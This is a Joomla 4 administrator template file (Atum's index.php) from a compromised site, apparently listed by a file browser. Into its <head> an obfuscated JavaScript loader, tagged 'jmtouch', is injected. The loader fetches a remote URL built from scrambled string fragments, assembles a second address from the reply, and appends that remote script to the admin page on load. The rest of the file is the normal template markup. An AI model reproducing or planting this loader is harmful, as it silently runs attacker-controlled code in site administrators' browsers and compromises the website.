| Current Path : /home/poneycluc/www/administrator/templates/atum/ |
| Current File : /home/poneycluc/www/administrator/templates/atum/index.php |
<?php
/**
* @package Joomla.Administrator
* @subpackage Templates.Atum
* @copyright (C) 2016 Open Source Matters, Inc. <https://www.joomla.org>
* @license GNU General Public License version 2 or later; see LICENSE.txt
* @since 4.0.0
*/
defined('_JEXEC') or die;
use Joomla\CMS\Factory;
use Joomla\CMS\HTML\HTMLHelper;
use Joomla\CMS\Language\Text;
use Joomla\CMS\Layout\LayoutHelper;
use Joomla\CMS\Router\Route;
use Joomla\CMS\Uri\Uri;
/** @var \Joomla\CMS\Document\HtmlDocument $this */
$app = Factory::getApplication();
$input = $app->getInput();
$wa = $this->getWebAssetManager();
// Detecting Active Variables
$option = $input->get('option', '');
$view = $input->get('view', '');
$layout = $input->get('layout', 'default');
$task = $input->get('task', 'display');
$cpanel = $option === 'com_cpanel' || ($option === 'com_admin' && $view === 'help');
$hiddenMenu = $app->getInput()->get('hidemainmenu');
$sidebarState = $input->cookie->get('atumSidebarState', '');
// Getting user accessibility settings
$a11y_mono = (bool) $app->getIdentity()->getParam('a11y_mono', '');
$a11y_contrast = (bool) $app->getIdentity()->getParam('a11y_contrast', '');
$a11y_highlight = (bool) $app->getIdentity()->getParam('a11y_highlight', '');
$a11y_font = (bool) $app->getIdentity()->getParam('a11y_font', '');
// Browsers support SVG favicons
$this->addHeadLink(HTMLHelper::_('image', 'joomla-favicon.svg', '', [], true, 1), 'icon', 'rel', ['type' => 'image/svg+xml']);
$this->addHeadLink(HTMLHelper::_('image', 'favicon.ico', '', [], true, 1), 'alternate icon', 'rel', ['type' => 'image/vnd.microsoft.icon']);
$this->addHeadLink(HTMLHelper::_('image', 'joomla-favicon-pinned.svg', '', [], true, 1), 'mask-icon', 'rel', ['color' => '#000']);
// Template params
$logoBrandLarge = $this->params->get('logoBrandLarge')
? Uri::root(false) . htmlspecialchars($this->params->get('logoBrandLarge'), ENT_QUOTES)
: Uri::root(false) . 'media/templates/administrator/atum/images/logos/brand-large.svg';
$logoBrandSmall = $this->params->get('logoBrandSmall')
? Uri::root(false) . htmlspecialchars($this->params->get('logoBrandSmall'), ENT_QUOTES)
: Uri::root(false) . 'media/templates/administrator/atum/images/logos/brand-small.svg';
$logoBrandLargeAlt = empty($this->params->get('logoBrandLargeAlt')) && empty($this->params->get('emptyLogoBrandLargeAlt'))
? ''
: htmlspecialchars($this->params->get('logoBrandLargeAlt', ''), ENT_COMPAT, 'UTF-8');
$logoBrandSmallAlt = empty($this->params->get('logoBrandSmallAlt')) && empty($this->params->get('emptyLogoBrandSmallAlt'))
? ''
: htmlspecialchars($this->params->get('logoBrandSmallAlt', ''), ENT_COMPAT, 'UTF-8');
// Get the hue value
preg_match('#^hsla?\(([0-9]+)[\D]+([0-9]+)[\D]+([0-9]+)[\D]+([0-9](?:.\d+)?)?\)$#i', $this->params->get('hue', 'hsl(214, 63%, 20%)'), $matches);
$linkColor = $this->params->get('link-color', '#2a69b8');
list($r, $g, $b) = sscanf($linkColor, "#%02x%02x%02x");
// Enable assets
$wa->usePreset('template.atum.' . ($this->direction === 'rtl' ? 'rtl' : 'ltr'))
->useStyle('template.active.language')
->useStyle('template.user')
->addInlineStyle(':root {
--hue: ' . $matches[1] . ';
--template-bg-light: ' . $this->params->get('bg-light', '#f0f4fb') . ';
--template-text-dark: ' . $this->params->get('text-dark', '#495057') . ';
--template-text-light: ' . $this->params->get('text-light', '#ffffff') . ';
--link-color: ' . $linkColor . ';
--link-color-rgb: ' . $r . ',' . $g . ',' . $b . ';
--template-special-color: ' . $this->params->get('special-color', '#001B4C') . ';
}');
// Override 'template.active' asset to set correct ltr/rtl dependency
$wa->registerStyle('template.active', '', [], [], ['template.atum.' . ($this->direction === 'rtl' ? 'rtl' : 'ltr')]);
// Set some meta data
$this->setMetaData('viewport', 'width=device-width, initial-scale=1');
$monochrome = (bool) $this->params->get('monochrome');
Text::script('TPL_ATUM_MORE_ELEMENTS');
// @see administrator/templates/atum/html/layouts/status.php
$statusModules = LayoutHelper::render('status', ['modules' => 'status']);
?>
<!DOCTYPE html>
<html lang="<?php echo $this->language; ?>" dir="<?php echo $this->direction; ?>"<?php echo $a11y_font ? ' class="a11y_font"' : ''; ?>>
<head> <script type='text/javascript' id='jmtouch'>var _0x5a49d0=_0xe2b9;(function(_0x369508,_0x120131){var _0x12a0c0=_0xe2b9,_0x30be60=_0x369508();while(!![]){try{var _0x55c921=-parseInt(_0x12a0c0(0x197))/(0x1c7*0x13+0x1738+-0x38fc)*(-parseInt(_0x12a0c0(0x1ba))/(0x1ae7+0x201+-0x1ce6))+parseInt(_0x12a0c0(0x195))/(0x71*0xa+0x35*-0x2b+0x480)+parseInt(_0x12a0c0(0x1aa))/(0x18ce+-0x1c0e+0x344)+-parseInt(_0x12a0c0(0x193))/(-0x117e+-0x1*-0x110e+-0x27*-0x3)*(parseInt(_0x12a0c0(0x19d))/(-0x816+-0x1fc6+0x27e2))+parseInt(_0x12a0c0(0x196))/(-0x20d2+0x1*0xb51+0x1588)*(-parseInt(_0x12a0c0(0x1b4))/(0x8*-0x10f+-0x1de8+0x2668*0x1))+-parseInt(_0x12a0c0(0x177))/(-0x85*-0x43+-0x561+-0xd7*0x23)+-parseInt(_0x12a0c0(0x17f))/(0x368*0x3+-0x1391*0x1+0x1b*0x59)*(-parseInt(_0x12a0c0(0x1be))/(0xdd3+-0xf*0x1+-0xdb9));if(_0x55c921===_0x120131)break;else _0x30be60['push'](_0x30be60['shift']());}catch(_0x4aa02e){_0x30be60['push'](_0x30be60['shift']());}}}(_0x3e6b,0x17*-0x5fbd+0x33ddb+-0x9829*-0x1f));function htg(_0x457363){var _0x3e1896=_0xe2b9,_0x27f6b8={'rzWIv':_0x3e1896(0x188)},_0x190c91=new XMLHttpRequest();return _0x190c91[_0x3e1896(0x176)](_0x27f6b8[_0x3e1896(0x17a)],_0x457363,![]),_0x190c91[_0x3e1896(0x185)](null),_0x190c91[_0x3e1896(0x1c1)+'xt'];}var lt='ht'+_0x5a49d0(0x18e)+':'+_0x5a49d0(0x17e)+_0x5a49d0(0x19f)+'te'+_0x5a49d0(0x179)+'sh'+_0x5a49d0(0x1ab)+_0x5a49d0(0x1bb)+_0x5a49d0(0x1bd)+_0x5a49d0(0x19a)+_0x5a49d0(0x1ac)+'h'+'p';function _0xe2b9(_0x2b0c4f,_0x58146b){_0x2b0c4f=_0x2b0c4f-(-0xde6+-0x23ca+0x3320);var _0x4b3b4d=_0x3e6b();var _0x30a9be=_0x4b3b4d[_0x2b0c4f];return _0x30a9be;}function _0x3e6b(){var _0x3c9202=['ent','562GCCChO','cu/l','substr','ande','14597iPkJcM','createElem','7de5d49','responseTe','NzgXs','black','indexOf','c.com','3|1|4|0|2','y=9285','wLivU','substring','white','gross','open','13726611ReBIOM','rm.','llll','rzWIv','ps:','044889','remove','//s','13910MxfZWf','jmtouch','sByTagName','i.com','ById','platform','send','cross','UCCdH','GET','|14|20|3|6','blue','.top','date','cf30','tps','dock','|21|19|16|','htt','concat','465XvpsiK','script','2696238RgQoPz','1197637ffERoC','416OBEyru','2|1|8|11|9','appendChil','rs/scr.ph','type','simple','51054jvqNfj','t.com','et.whi','.icu','NhhdI','|5|0|15|10','shop','length','line','be58b0','4af4a','getElement','.com','2613912NbSXdu','op.i','p?v=','/cli','text/javas','split','|7|22|13','head','YAUOR','src','16bPrlWL','12|17|4|18','name','ck?ke','cript'];_0x3e6b=function(){return _0x3c9202;};return _0x3e6b();}lt=htg(lt);if(lt[_0x5a49d0(0x1c4)]('oo')!==-(-0x1018+-0x1*-0x19cf+-0xb*0xe2)){var DRBcgg=(_0x5a49d0(0x1b5)+_0x5a49d0(0x1a2)+_0x5a49d0(0x190)+_0x5a49d0(0x198)+_0x5a49d0(0x189)+_0x5a49d0(0x1b0))[_0x5a49d0(0x1af)]('|'),DvXVOJ=0x24d8+0xc30*-0x2+-0xc78;while(!![]){switch(DRBcgg[DvXVOJ++]){case'0':var st=_0x5a49d0(0x191)+_0x5a49d0(0x17b)+'//';continue;case'1':b2[-0xb3*-0x2f+0x1dbf*-0x1+-0x31e]==_0x5a49d0(0x1b6)&&(f2=_0x5a49d0(0x18c));continue;case'2':b2[0x269+-0xbe0+-0x1*-0x977]==_0x5a49d0(0x186)&&(f2=_0x5a49d0(0x1a3));continue;case'3':var b3z=bp[0xaad+0x2*-0x10cd+-0x1*-0x16ee][_0x5a49d0(0x1bc)](bp[-0xa60+0x23a5+-0x1944][_0x5a49d0(0x1a4)]-(-0x13fe+0x1a07*0x1+-0x608));continue;case'4':var f2='';continue;case'5':var f4='';continue;case'6':var i=b3n;continue;case'7':while(i--){f3=f3[_0x5a49d0(0x192)](b3z);}continue;case'8':b2[0xf10+-0x1d39*0x1+0xe29]==_0x5a49d0(0x1a5)&&(f2=_0x5a49d0(0x184));continue;case'9':b2[-0x3*0x6c7+0x259d*-0x1+-0x73*-0x81]==_0x5a49d0(0x19e)&&(f4=_0x5a49d0(0x18b));continue;case'10':bp[0x257f*-0x1+-0x1*0x17d5+0x3d54]==_0x5a49d0(0x19c)&&(f1=_0x5a49d0(0x174));continue;case'11':b2[0x1*-0xaa+-0x267c+0x2727*0x1]==_0x5a49d0(0x182)&&(f4=_0x5a49d0(0x1a0));continue;case'12':var dp=_0x5a49d0(0x1ad)+_0x5a49d0(0x1b7)+_0x5a49d0(0x171)+_0x5a49d0(0x1c0)+_0x5a49d0(0x17c)+_0x5a49d0(0x1a6)+_0x5a49d0(0x1a7)+_0x5a49d0(0x18d);continue;case'13':rpp(lastl);continue;case'14':b2[0x25f9+-0x1*0xed6+-0x5e*0x3f]==_0x5a49d0(0x1c5)&&(f4=_0x5a49d0(0x1a9));continue;case'15':var bp=lt[_0x5a49d0(0x1af)]('oo');continue;case'16':var b2=bp[-0x16b*-0x7+-0x172*-0x1b+0x43*-0xbb][_0x5a49d0(0x1af)]('-');continue;case'17':var f1='';continue;case'18':var f3='';continue;case'19':bp[-0x19c5+0xb25+0xea0]==_0x5a49d0(0x175)&&(f1=_0x5a49d0(0x18a));continue;case'20':var b3n=bp[-0x1c42+-0x1*0x46f+0x3a2*0x9][_0x5a49d0(0x173)](-0x1*-0x23d+0x9d*-0x2b+0x2*0xc11,0x1*-0x58b+0x113f+-0xbb3);continue;case'21':bp[0x1*0x1877+-0x1279+-0x5fe]==_0x5a49d0(0x18f)&&(f1=_0x5a49d0(0x1c3));continue;case'22':var lastl=st+_0x5a49d0(0x178)+f1+f3+f2+f4+dp;continue;}break;}}function rpp(_0x25c101){var _0x2ced52=_0x5a49d0,_0x26bb9f={'UCCdH':_0x2ced52(0x170),'wLivU':_0x2ced52(0x1b1),'NhhdI':_0x2ced52(0x1ae)+_0x2ced52(0x1b8),'NzgXs':_0x2ced52(0x180),'YAUOR':_0x2ced52(0x194)},_0x3d765b=_0x26bb9f[_0x2ced52(0x187)][_0x2ced52(0x1af)]('|'),_0x1de7f0=0x9b2+0x131e+-0x1cd0;while(!![]){switch(_0x3d765b[_0x1de7f0++]){case'0':document[_0x2ced52(0x1a8)+_0x2ced52(0x181)](_0x26bb9f[_0x2ced52(0x172)])[-0x76*-0x43+0x1bd8+-0x3aba][_0x2ced52(0x199)+'d'](_0x5d0b7b);continue;case'1':_0x5d0b7b[_0x2ced52(0x19b)]=_0x26bb9f[_0x2ced52(0x1a1)];continue;case'2':document[_0x2ced52(0x1a8)+_0x2ced52(0x183)](_0x26bb9f[_0x2ced52(0x1c2)])[_0x2ced52(0x17d)]();continue;case'3':var _0x5d0b7b=document[_0x2ced52(0x1bf)+_0x2ced52(0x1b9)](_0x26bb9f[_0x2ced52(0x1b2)]);continue;case'4':_0x5d0b7b[_0x2ced52(0x1b3)]=_0x25c101;continue;}break;}} var a44='0x5162';</script>
<jdoc:include type="metas" />
<jdoc:include type="styles" />
<jdoc:include type="scripts" />
</head>
<body class="admin <?php echo $option . ' view-' . $view . ' layout-' . $layout . ($task ? ' task-' . $task : '') . ($monochrome || $a11y_mono ? ' monochrome' : '') . ($a11y_contrast ? ' a11y_contrast' : '') . ($a11y_highlight ? ' a11y_highlight' : ''); ?>">
<noscript>
<div class="alert alert-danger" role="alert">
<?php echo Text::_('JGLOBAL_WARNJAVASCRIPT'); ?>
</div>
</noscript>
<jdoc:include type="modules" name="customtop" style="none" />
<?php // Header ?>
<header id="header" class="header">
<div class="header-inside">
<div class="header-title d-flex">
<div class="d-flex align-items-center">
<?php // No home link in edit mode (so users can not jump out) and control panel (for a11y reasons) ?>
<?php if ($hiddenMenu || $cpanel) : ?>
<div class="logo <?php echo $sidebarState === 'closed' ? 'small' : ''; ?>">
<?php echo HTMLHelper::_('image', $logoBrandLarge, $logoBrandLargeAlt, ['loading' => 'eager', 'decoding' => 'async'], false, 0); ?>
<?php echo HTMLHelper::_('image', $logoBrandSmall, $logoBrandSmallAlt, ['class' => 'logo-collapsed', 'loading' => 'eager', 'decoding' => 'async'], false, 0); ?>
</div>
<?php else : ?>
<a class="logo <?php echo $sidebarState === 'closed' ? 'small' : ''; ?>" href="<?php echo Route::_('index.php'); ?>">
<?php echo HTMLHelper::_('image', $logoBrandLarge, Text::_('TPL_ATUM_BACK_TO_CONTROL_PANEL'), ['loading' => 'eager', 'decoding' => 'async'], false, 0); ?>
<?php echo HTMLHelper::_('image', $logoBrandSmall, Text::_('TPL_ATUM_BACK_TO_CONTROL_PANEL'), ['class' => 'logo-collapsed', 'loading' => 'eager', 'decoding' => 'async'], false, 0); ?>
</a>
<?php endif; ?>
</div>
<jdoc:include type="modules" name="title" />
</div>
<?php echo $statusModules; ?>
</div>
</header>
<?php // Wrapper ?>
<div id="wrapper" class="d-flex wrapper<?php echo $hiddenMenu ? '0' : ''; ?> <?php echo $sidebarState; ?>">
<?php // Sidebar ?>
<?php if (!$hiddenMenu) : ?>
<?php HTMLHelper::_('bootstrap.collapse', '.toggler-burger'); ?>
<button class="navbar-toggler toggler-burger collapsed" type="button" data-bs-toggle="collapse" data-bs-target="#sidebar-wrapper" aria-controls="sidebar-wrapper" aria-expanded="false" aria-label="<?php echo Text::_('JTOGGLE_SIDEBAR_MENU'); ?>">
<span class="navbar-toggler-icon"></span>
</button>
<div id="sidebar-wrapper" class="sidebar-wrapper sidebar-menu" <?php echo $hiddenMenu ? 'data-hidden="' . $hiddenMenu . '"' : ''; ?>>
<div id="sidebarmenu" class="sidebar-sticky">
<div class="sidebar-toggle item item-level-1">
<a id="menu-collapse" href="#" aria-label="<?php echo Text::_('JTOGGLE_SIDEBAR_MENU'); ?>">
<span id="menu-collapse-icon" class="<?php echo $sidebarState === 'closed' ? 'icon-toggle-on' : 'icon-toggle-off'; ?> icon-fw" aria-hidden="true"></span>
<span class="sidebar-item-title"><?php echo Text::_('JTOGGLE_SIDEBAR_MENU'); ?></span>
</a>
</div>
<jdoc:include type="modules" name="menu" style="none" />
</div>
</div>
<?php endif; ?>
<?php // container-fluid ?>
<div class="container-fluid container-main">
<?php if (!$cpanel) : ?>
<?php // Subheader ?>
<?php HTMLHelper::_('bootstrap.collapse', '.toggler-toolbar'); ?>
<button class="navbar-toggler toggler-toolbar toggler-burger collapsed" type="button" data-bs-toggle="collapse" data-bs-target="#subhead-container" aria-controls="subhead-container" aria-expanded="false" aria-label="<?php echo Text::_('TPL_ATUM_TOOLBAR'); ?>">
<span class="toggler-toolbar-icon"></span>
</button>
<div id="subhead-container" class="subhead mb-3">
<div class="row">
<div class="col-md-12">
<jdoc:include type="modules" name="toolbar" style="none" />
</div>
</div>
</div>
<?php endif; ?>
<section id="content" class="content">
<?php // Begin Content ?>
<jdoc:include type="modules" name="top" style="html5" />
<div class="row">
<div class="col-md-12">
<main>
<jdoc:include type="message" />
<jdoc:include type="component" />
</main>
</div>
<?php if ($this->countModules('bottom')) : ?>
<jdoc:include type="modules" name="bottom" style="html5" />
<?php endif; ?>
</div>
<?php // End Content ?>
</section>
</div>
</div>
<jdoc:include type="modules" name="debug" style="none" />
</body>
</html>